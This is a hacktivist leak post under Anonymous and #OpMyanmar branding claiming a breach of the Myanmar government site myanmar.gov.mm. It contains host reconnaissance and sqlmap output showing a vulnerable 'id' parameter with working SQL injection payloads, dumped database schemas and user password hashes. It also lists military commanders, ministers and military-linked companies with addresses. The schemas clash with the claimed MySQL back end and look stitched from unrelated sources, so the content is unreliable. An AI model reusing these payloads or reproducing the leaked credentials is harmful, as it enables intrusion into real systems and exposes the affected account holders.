/$$$$$$  /$$   /$$  /$$$$$$  /$$   /$$ /$$     /$$ /$$      /$$  /$$$$$$  /$$   /$$  /$$$$$$ 
	   /$$__  $$; $$$ ; $$ /$$__  $$; $$$ ; $$;  $$   /$$/; $$$    /$$$ /$$__  $$; $$  ; $$ /$$__  $$
	  ; $$  \ $$; $$$$; $$; $$  \ $$; $$$$; $$ \  $$ /$$/ ; $$$$  /$$$$; $$  \ $$; $$  ; $$; $$  \__/
	  ; $$$$$$$$; $$ $$ $$; $$  ; $$; $$ $$ $$  \  $$$$/  ; $$ $$/$$ $$; $$  ; $$; $$  ; $$;  $$$$$$ 
	  ; $$__  $$; $$  $$$$; $$  ; $$; $$  $$$$   \  $$/   ; $$  $$$; $$; $$  ; $$; $$  ; $$ \____  $$
	  ; $$  ; $$; $$\  $$$; $$  ; $$; $$\  $$$    ; $$    ; $$\  $ ; $$; $$  ; $$; $$  ; $$ /$$  \ $$
	  ; $$  ; $$; $$ \  $$;  $$$$$$/; $$ \  $$    ; $$    ; $$ \/  ; $$;  $$$$$$/;  $$$$$$/;  $$$$$$/
	  ;__/  ;__/;__/  \__/ \______/ ;__/  \__/    ;__/    ;__/     ;__/ \______/  \______/  \______/ 
                                                                                               
                                                                                                                           
			 /$$$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$$   /$$$$$$  /$$$$$$$$  /$$$$$$ 
			; $$_____/;__  $$__/; $$_____/; $$__  $$ /$$__  $$; $$_____/ /$$__  $$
			; $$         ; $$   ; $$      ; $$  \ $$; $$  \__/; $$      ; $$  \__/
			; $$$$$      ; $$   ; $$$$$   ; $$$$$$$/;  $$$$$$ ; $$$$$   ; $$      
			; $$__/      ; $$   ; $$__/   ; $$__  $$ \____  $$; $$__/   ; $$      
			; $$         ; $$   ; $$      ; $$  \ $$ /$$  \ $$; $$      ; $$    $$
			; $$$$$$$$   ; $$   ; $$$$$$$$; $$  ; $$;  $$$$$$/; $$$$$$$$;  $$$$$$/
			;________/   ;__/   ;________/;__/  ;__/ \______/ ;________/ \______/ 
                                                                      
                                                                                         
					      Twitter.com/EterSec 
                             Estamos aqui para lutar contra a opressão seja onde for.
						   #OpMyanmar
			   Nós somos anonymous, Nós não esquecemos, Nós não perdoamos.

+----------------------------------------------------------------------------------------------------------------------------------------------+

We will fight for the return of democracy in Myanmar

myanmar.gov.mm

203.81.88.196 
City	Nay Pyi Taw
Country	Myanmar
Organization	Myanma Post and Telecommunication
ISP	Myanma Posts and Telecommunications
Last Update	2021-04-26T11:34:40.859644
ASN	AS9988

web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
Database: myanmar.gov.mm


HTTP/1.1 200 OK
Cache-Control: private, no-store, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Mon, 26 Apr 2021 12:34:39 GMT
Last-Modified: Mon, 26 Apr 2021 11:34:39 GMT
Set-Cookie: ASP.NET_SessionId=kauogaeu0n4plgmsxijpu1bq; path=/; secure; HttpOnly
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Access-Control-Allow-Origin: https://myanmar.gov.mm/
Date: Mon, 26 Apr 2021 11:34:39 GMT
Content-Length: 52729
Set-Cookie: TS0144b822=0142ef07604985875229099cac786b7ba7e6c98772ab33cd67bca1f047c8a15f87875d5918b2aae83a4f39ccaa2e38e15a987c7425;

Domain:	myanmar.gov.mm
[ myanmar.gov.mm Whois Lookup - myanmar.gov.mm Blacklist Check]
IP Address:	119.73.213.132
Internet Protocol:	IPv4 - Version 4
Types:	Public
IP Classes:	Class A Range
(1.0.0.0 to 126.255.255.255)
Reverse DNS:	** server can't find 132.213.73.119.in-addr.arpa: SERVFAIL
IP Blacklist Check:	Not Blacklisted (Clean)
[119.73.213.132 Blacklist Check]
Hostname:	119.73.213.132
DNS Lookup For myanmar.gov.mm domain
myanmar.gov.mm NS (Nameservers):	
b.nic.net.mm >> 37.209.194.4
a.nic.net.mm >> 37.209.192.4
d.nic.net.mm >> 37.209.198.4
c.nic.net.mm >> 37.209.196.4
myanmar.gov.mm Mail Server:	
 alt2.aspmx.l.google.com 
 aspmx.l.google.com 
 alt3.aspmx.l.google.com 
 alt4.aspmx.l.google.com 
 alt1.aspmx.l.google.com 
Location For an IP: myanmar.gov.mm
Continent:	Asia (AS)
Country:	Singapore   IP Location Found In Singapore (SG)
Capital:	Singapur
State:	Unknown
City Location:	Singapore
Postal:	09
ISP:	SingNet
Organization:	SingNet
AS Number:	AS3758 SingNet

IP Weather Station: Singapore
Sky: broken clouds
Temp: 25.3 ?C (max 26.0 ?C / min 25.0 ?C)
Wind Speed: 0.5 m/s
Wind Direction: 20.0?
Humidity: 94%
Cloudiness: 75%
Atmospheric pressure: 1009 kPa
Time Zone:	Asia/Singapore
Local Time:	05:43:26
Timezone GMT offset:	28800
Sunrise / Sunset:	06:57 / 19:07
Extra Information for an IP: myanmar.gov.mm
Continent Lat/Lon:	29.8405 / 89.296
Country Lat/Lon:	1.37 / 103.8
City Lat/Lon:	(1.2553) / (103.8312)
Language:	English, Malay, Chinese, Tamil
Speed:	Broadband (Cable/DSL) Internet Speed
[ Check Internet Speed For Evisa.moip.gov.mm]
Currency:	Singapore dollar (SGD)
IDD Code:	+65


web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
current database: 'myanmar_mm'
available databases [2]:
[*] myanmar_mm
[*] information_mm

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: id=-3487 OR 1 GROUP BY CONCAT(0x71766a7071,(SELECT (CASE WHEN (1405=1405) THEN 1 ELSE 0 END)),0x7171706b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: id=(CASE WHEN (1452=1452) THEN SLEEP(10) ELSE 1452 END)

    Type: UNION query
   
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
Database: myan_


[12 tables]
                                                                                                                         
+--------------------------------+                                                                                                  
| CSM$CHARSETID                  |                                                                                                  
| CSM$COLUMNS                    |                                                                                                  
| CSM$CONSTRAINTS                |                                                                                                 
 | CSM$DICTUSERS                  |                                                                                                  
| CSM$ERRORS                     |                                                                                                 
 | CSM$EXTABLES                   |                                                                                                  
| CSM$INDEXES                    |                                                                                                  
| CSM$LANGID                     |                                                                                                  
| CSM$PARAMETERS                 |                                                                                                  
| CSM$QUERY                      |                                                                                                  
| CSM$TABLES                     |                                                                                                  
| CSM$TRIGGERS                   |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: MM                                                                                                        
[1 table]                                                                                                                           
+--------------------------------+                                                                                                 
 | SQLN_EXPLAIN_PLAN              |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: MM_                                                                                                          
[1 table]                                                                                                                         
 +--------------------------------+                                                                                                 
 | SQLN_EXPLAIN_PLAN              |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                     
Database: ADP                                                                                                                   
[1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| SQLN_EXPLAIN_PLAN              |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                  
Database: APEX_040000                                                                                                               
[2 tables]                                                                                                                          
+--------------------------------+                                                                                                  
| WWV_FLOW_DUAL100                                                                                                            
| WWV_FLOW_LOV_TEMP              |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: SYSTEM                                                                                                                    
[7 tables]                                                                                                                          
+--------------------------------+                                                                                                  
| HELP                           |                                                                                                  
| MVIEW$_ADV_INDEX               |                                                                                                  
| MVIEW$_ADV_OWB                 |                                                                                                  
| MVIEW$_ADV_PARTITION           |                                                                                                  
| OL$                            |                                                                                                  
| OL$HINTS                       |                                                                                                  
| OL$NODES                       |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: CAD                                                                                                                  
 [1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| MICROSOFTDTPROPERTIES          |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: LMORAES                                                                                                                   
[1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| CHAINED_ROWS                   |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: DBA_APP                                                                                                                   
[1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| TOAD_PLAN_TABLE                |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                      
Database: APEX_040100                                                                                                               
[1 table]                                                                                                                           
+--------------------------------+                                                                                                 
 | WWV_FLOW_DUAL100               |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: CONS_                                                                                                         
[1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| SQLN_EXPLAIN_PLAN              |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: APEX_040200                                                                                                               
[1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| WWV_FLOW_DUAL100               |                                                                                                  
+--------------------------------+                                                                                                                                                                                                                                      
Database: ADMSIMBO                                                                                                                  
[1 table]                                                                                                                           
+--------------------------------+                                                                                                  
| TOAD_PLAN_TABLE                | 

Database: SRH2 
Table: MM1_
[13 columns] 
+ ----------------- --- + ---------- + 
| Column | Type | 
+ -------------------- + ---------- + 
| CD_CGC             | NUMBER   |
| CD_VALID | VARCHAR2 | 
| CD_Address | NUMBER | 
| DS_CITY | VARCHAR2 | 
| DS_Address | VARCHAR2 | 
| DS_NUMBER | CHAR | 
| DS_NUMBER_contact | VARCHAR2 |
| DT_2    | DATE     |
| DT_1  | DATE     |
| NO_3      | VARCHAR2 |
| NR_FONE            | VARCHAR2 |
| VR_0      | NUMBER   |
+--------------------+----------+


+---------------+----------------------------------+
| User          | password                         |
+---------------+----------------------------------+
| ဆရာမ          | e9395f6d249e80abd6d2e6a27da2691 |
| မန်နေဂျ         | 29115523bb27e72cf9b2a62f023b78fb |
| အယ်ဒီတာ        | r7225a2813dffea3a235fbc91621c4b0 |
| ဘဏ္.ာရေး      | baa08c4c0c0308a8643dc63102323908 |
| သတင်းစာ       | f523e3f54e501221eeb3dcf5e1bb3e81 |
+---------------+----------------------------------+

+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+
+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+
Bureau of Special Operations	Regional Military Commands (RMC)	Chief of Bureau of Special Operations	Notes
Bureau of Special Operations 1	Central Command
North Western Command
Northern Command	Lt. Gen. Tay Zar Kyaw	
Bureau of Special Operations 2	North Eastern Command
Eastern Command
Triangle Region Command
Eastern Central Command	Lt. Gen. Than Tun Oo	
Bureau of Special Operations 3	South Western Command
Southern Command
Western Command	Lt. Gen. Win Bo Shein	
Bureau of Special Operations 4	Coastal Command
South Eastern Command	Lt. Gen. Aung Soe	
Bureau of Special Operations 5	Yangon Command	Lt. Gen. Thet Pone	
Bureau of Special Operations 6	Naypyidaw Command	Lt. Gen. Moe Myint Tun	
+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+

+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+


Database: SRH2 
Table: FER_
[29 columns] 
+ ---- ----------------------- + ---------- + 
| Column | Type | 
+ --------------------------- + ---------- + 
| _PERC | VARCHAR2 | 
| ANTEC | VARCHAR2 | 
| APLIC_SOL_REM | VARCHAR2 | 
| DT_CONF_CHEFIA_REM | DATE | 
| DT_FIM_PARC | DATE | 
| DT_FIM_PARC_ANT | DATE |
| DT_FIN_AQUI | DATE | 
| DT_INI_AQUI | DATE | 
| DT_INI_PARC | DATE | 
| DT_INI_PARC_ANT | DATE | 
| DT_INT_PARC | DATE | 
| DT_REFE | DATE | 
| HORA_ATU | VARCHAR2 | 
| IT_INT| NUMBER | 
| MAT_SERV_CHEFIA_REM | VARCHAR2 | 
| MAT_SERV_SOL_REM | VARCHAR2 | 
| MAT_SERV | VARCHAR2 | 
| NR_MAT | VARCHAR2 | 
| NUM_FOL_FER | VARCHAR2 | 
| NUM_PARC | NUMBER | 
| OP_PARC | VARCHAR2 |
| PR                        | VARCHAR2 |
| PROT                      | VARCHAR2 |
| SD_PARC                   | NUMBER   |
| SIT_FIN_FER               | VARCHAR2 |
| SQ                        | NUMBER   |
| SQ_OP             | NUMBER   |
| USU_SO_CH         | VARCHAR2 |
| USU_SO_SOL_REM            | VARCHAR2 |
+---------------------------+----------+

+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+
Minister					                Wunna Maung Lwin
Temporary Minister of Foreign Affairs	 			Lieutenant general Soe Htut
Minister of Home Affairs &					General Mya Tun Oo
Minister of Union Government Office	 			Lieutenant general Tun Tun Naung
Minister of Defence	 				        Win Shein
Minister of Border Affairs	 				Aung Naing Oo
Minister of Planning, Finance and Industry	 		Ko Ko Hlaing
Minister of Investment and Foreign Economic Relations	 	Chit Naing
Minister of International Cooperation	 			Ko Ko
Minister of Information	 				        Myint Kyaing
Minister of Religious Affairs and Culture	 		Thet Khaing Win
Minister of Labour, Immigration and Population	 		Khin Maung Yee
Minister of Health and Sports	 			        Shwe Lay
Minister of Natural Resources 	 			        Tin Htut Oo
Minister of Construction	 				Admiral Tin Aung San
Minister of Agriculture, Livestock and Irrigation	 	Pwint San
Minister of Transport and Communications	 		Saw Tun Aung Myint
Minister of Commerce	 				        Thet Thet Khine
Minister of Ethnic Affairs	 				Maung Maung Ohn
Minister of Social Welfare, Relief 				Aung Than Oo
Minister of Hotels and Tourism	 			        Nyunt Pe
Minister of Electricity and Energy	 			Than Swe
Minister of Education	 				        Thida Oo
+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+

+---------------+----------------------------------++---------------+----------------------------------++---------------+----------------------------------+

Name	                                         Address
Adipati Agricultural Produce Trading Ltd	"Upper Pazundaung Road, Satsan 12 Compound MingalarTaungNyunt Township
Yangon, Myanmar 11221"
Agro Pack Co. Ltd	                           "Corner of Ahlone Rd & Strand Rd, Old Myanmar Timber Enterprise Office AhloneTsp
Yangon, Myanmar"
Ahlone International Port Terminal 1	            Ahlone Road, Ahlone Township, Yangon,
Anhydrous Ethanol Plant (Taungzinaye)	        Taungzinaye
Aquarii (Gems & Jewellery)Company Limited	"Pyay Road, No.(22), 7 Mile
No.(6) Quarter, Mayangone Township
Yangon, Myanmar "
Ashok (Gems & Jewellery) Company Limited	"Pyay Road, No.(22), 7 Mile
No.(6) Quarter, Mayangone Township
Yangon, Myanmar "
Aung Myint Mo Min Securities	                "No-526/532, Marchant Street angle of 37th , Kyauktatar, YANGON
Myanmar"
Aung Myint Moh Min Insurance	                "Shwedagon Pagoda Road and Corner of Pantra Street,
No.28
Dagon Township, Yangon, Myanmar"
Aung Thitsa Oo General Insurance Co. Ltd.	"Corner of Mahar Bandoola Road & Thein Phyu Road, Room No.(01-03), Union Financial Centre(UFC)
(10) Ward, Botahtaung Township
Yangon, Myanmar"
Aung Thitsa Oo Life Insurance Co. Ltd	            "Corner of Mahar Bandoola Road & Thein Phyu Road, Room No.(01-03), Union Financial Centre(UFC)
(10) Ward, Botahtaung Township
Yangon, Myanmar"
Bandoola Transportation Company Limited	                "PARAMI ROAD
NO 4 BLOCK SOUTH OKKALAPA TOWNSHIP YANGON REGION, Myanmar"
Cancri(Gems & Jewelley) Company Limited 	"        Pyay Road, No.(22), 7 Mile
No.(6) Quarter, Mayangone Township
Yangon, Myanmar"
Cannery	Mandalay
Coal Mine (Maw Taung)	Maw Taung
Coal Mine And Power Plant (Mai Khot)	Mai Khot
Coconut Milk Factory	Bathein
Container Transport And Port Clearance Yard 	                Opposite Myanmar Industrial Port, Yangon
Cotton Ginning Factory	1 mile East from Myitthar, Kyaukse’     District, Mandalay Division.
Dagon Beverages Company Limited	                                "No. 555 (B), No.(4) , Highway Road ,
Shwepyithar Township
Yangon, Myanmar "
Dagon Dairy 	                                                "Pyay Rd., Near Chan Pauk Bus Stop, Pyin Ma Bin Ward,
 Mingalardon,
Yangon Region"
Dagon FC Company Limited	Unknown
Danatheidi Star(Gems&Jewellery)Company Limited	PYAY ROAD,PYITHU LANE, NO-22 6,YANGON,MAYANGONE YANGON, Myanmar
Dentomec	near Yangon-Pyay road in Mingalardon Township,Yangon Region
Disposable Syringe Factory (Hwambi)	Yangon – Pyay Road, Near Kalargone Village, Hmawbi Township, Yangon.
Du Won Star (Gems & Jewellery) Company Limited	PYAY ROAD,PYITHU LANE, NO-22 6,YANGON,MAYANGONE YANGON, Myanmar
Galvanized Iron Sheet Factory 	Thilawa Industrial Zone, Than Hlyin Township, Southern District, Yangon Division.
Garment Factory (Pyin Oo Lwin)	Pyin Oo Lwin
Gas Plant (Botahthaung)	No.(5) Thanhletsung Street, No.(2) Quarter, Botahtaung Township, Yangon.
Gas Plant (Mandalay)	Mandalay
Gems Extraction Mine (Mine Shu – Loi Saung Htauk)	Mine-Shu
Glass Factory	Yangon-Thilawa Terminal Road, Phayagone Village, Than Hlyin Township, Yangon.
Golden Majestic Star Mobile Company Limited	"Corner of Ahlone Road and Strand Road, Old Myanmar Timber Enterprise Office Ahlone Tsp
Yangon, Myanmar"
Granite Decorative Tile Factory (Kyaikto)	Kyaikto
Granite Mine And Processing Plant (Balin)	Balin
Great Lakes Trading Company Limited	"Corner of Ahlone Road and Strand Road
Old Myanmar Timber Enterprise Office
Ahlone Tsp., Yangon, Myanmar"
Gypsum Mine And Transportation Plant (Htone Bo)	Htone Bo
Hanthawaddy Golf And Country Club	"Yangon-Mandalay Road, 40 Mile Hill Bago Township
Bago Region, Myanmar"
Hawk Star (Gems & Jewellery) Company Limited 	PYAY ROAD,PYITHU LANE, NO-22 6,YAGON,MAYANGONE YANGON, Myanmar
High Tension Steel Bolts, Nuts And Washers Manufacturing Plant (Ywama)	"Between Bayintnaung Road and Hlaing River, west Ywama Quarter, Insein
Township, Yangon."
Hlaing Inland Terminal And Logistics Company Limited	"MAHARBANDOOLA HOUSING COMPLEX(B), NO.62,ROOM(704) 7 FLOOR PAZUNDAUNG TOWNSHIP
YANGON, Myanmar 11171"
Indoor Skydiving	Yangon
Inndagaw Industrial Complex	Inndagaw
Jade Extraction Mine (Lone Khin – Hpakant)	Lone Khin
Kan Thar Yar International Specialist Hospital	"No. (87), 6 1/2 Mile, Pyay Road, Hlaing Township
Yangon"
Kanpauk Oil Palm Estate And Palm Oil Mill	Kanpauuk
Kayah State Mineral Production Co Ltd	PYAY ROAD,PYI THU LANE, NO.22 6,YANGON,MAYANGONE YANGON, Myanmar
Lann Pyi Marine Co Ltd	No. 55/61, Strand Road Seik Kan Township Yangon, Myanmar 11181
Larbathakedi Micro Finance Service Association Incorporated	"Thukhuma Street, , No.Da-66
Dekinathiri Township,
Naypyitaw, Myanmar "
Letpadaung Copper Mine	Monywa
Mandalay Brewery Limited	"Cornor of 80th and 8th Street, 1(ka) Aungmyaytharsan
Mandalay, Myanmar 05013"
Marble Mine And Processing Plant (Mandalay)	Near Kyauk Chaw Village, Taungni Taung Area, Patheingyi Township, Mandalay.
MECTEL	Unknown
Missisipi Trading Co., Ltd.	"Corner of Ahlone Road and Strand Road, Old Myanmar Timber Enterprise Office Ahlone Tsp
Yangon, Myanmar"
Moegyo Sulphuric Acid Factory	Sarlingyi
Myanandar Purified Drinking Water	Yangon
Myanma Economic Holdings Public Company Limited (MEHL)	51 Mahabandoola Rd, 189/191, Butataung, Yangon
Myanma Five Star Line Company Limited	Theinbyu Road, No.132/136 Botataung Township Yangon, Myanmar 1221
Myanma Tharkaung Finance Company Limited	"Thukhuma Street, , No.Da-66
Dekhinathiri Township,
Naypyitaw, Myanmar "
Myanmar Brewery Limited	"No.45, No.3 Trunk Road, Pyinmabin Industrial Complex Mingalardon Township
Yangon, Myanmar"
Myanmar Economic Corporation  	Corner of Ahlone Road and Strand Road, Ahlone Township, Yangon, Myanmar.
Myanmar Economic Corporation Limited	Corner of Ahlone Road and Strand Road, Ahlone Township, Yangon, Myanmar.
Myanmar Golden Majestic Star Mobile Public Company Limited	"Corner of Ahlone Road and Strand Road, Old Myanmar Timber Enterprise Office Ahlone Tsp
Yangon, Myanmar"
Myanmar Imperial Jade (Gems & Jewellery) Company Limited	"Pyay Road, No.(22), 7 Mile
No.(6) Quarter, Mayangone Township Yangon, Myanmar"
Myanmar INNO International Limited	"19 1/2 Mile, Pyay Road, -
Pyinmabim, Mingaladon Township
Yangon, Myanmar "
Myanmar INNO Line Company Limited	"Corner of Wayzayantar Road & Parami Road, Ward No.4, Shwe Man Thu Bus Compound
South Okkalapa
Yangon, Myanmar"
Myanmar Land And Development	"No(1/2),Yarza Thingaha Street,, Near Khwar Nyo Pann Awine,
Zawana Theikdi Quarter,
Naypyitaw., Myanmar "
Myanmar Mobile Money Services Co. Ltd.	No 51, Bo Yar Nyunt St, Dagon, Yangon
Myanmar Pharmaceutical Factory (Pyin Oo Lwin)	Pyin Oo Lwin
Myanmar Posco C&C Company Limited	"No.3,Trunk Road, Plot No.22
Pyinmabin Industrial Complex, Mingalardon Township Yangon Region, Myanmar 11021"
Myanmar Rubber Wood Company Limited	"PYAY ROAD, NO.22/A
7 MILE, MAYANGON TOWNSHIP YANGON REGION, Myanmar"
Myanmar Ruby Enterprise (Gems & Jewellery)Company Limited	NO.22,PYAY ROAD,PYI THU LANE 6,YANGON,MAYANGONE YANGON, Myanmar
Myanmar Sigma Cable Wire Factory (Hlaing Thar Yar)	Hlaing Thar Yar
Myanmar War Veterans Organisation	Thukhuma Road, Datkhina Thiri Tsp, Naypyitaw 
Myawaddy Agricultural Services Company Limited	"No. 3, Trunk Road, No. 39(A)
Pyinmabin Industrial Estate Mingalardon Township Yangon, Myanmar"
Myawaddy Bank Limited	No. 151, Corner of Bogyoke Aung San Road and Wardan Street 8th Ward, Lanmadaw Township, Yangon, Myanmar
Myawaddy Trading Limited	"Strand Street, No.55/61 Seikkan Township
Yangon Region, Myanmar 11181"
Myawaddy Travels & Tours Company Limited	"Kan Nar Road, No. 693/701, Room 45, Second Floor, Classic Strand Condo No.(3) Ward, Pabedan
Yangon, Myanmar"
Myawady Football Club	"	
Maharbandoola Road
No.189/191
No.5 Ward, Botataung Township, Yangon Region, Myanmar"
Mytel Wallet International Myanmar Company Limited	"        Zoological Garden Road
No.61-63,
Dagon Township, Yangon, Myanmar"
Nan Myaing Coffee (Pyin Oo Lwin)	Pyin Oo Lwin
Nawadae Hotel And Tourism Limited	"Bogyoke AungSan Road, Building 335-357 Pabedan Township
Yangon, Myanmar"
Nay Pyi Taw Purified Drinking Water	North of Yazahtarnay Road, Ye Pyar Village, Poteba Thiri Township, Naypyitaw.
Ngwe Pin Lae Industrial Zone	Hlaing Thar Yar
Ngwe Pinlae Livestock Breedings & Fisheries Company Limited	STRAND ROAD, NO.55/61 SEIKKAN TOWNSHIP YANGON, Myanmar
Ngwe Pinlae Premium Marine Products Trading Company Limited 	"NO(1)STREET, NGWE PINLAE INDUSTRIAL ZONE, NO-76 HLAING THAR YAR TOWNSHIP
YANGON, Myanmar"
No. 1 Steel Rolling Mill In Kyauk Swae Kyowe On Site Of Pinpet Iron Ore Mine	Pinpet
No. 2 Steel Mill And Fabrication Shop (Myaungdagar)	Myuangdagar
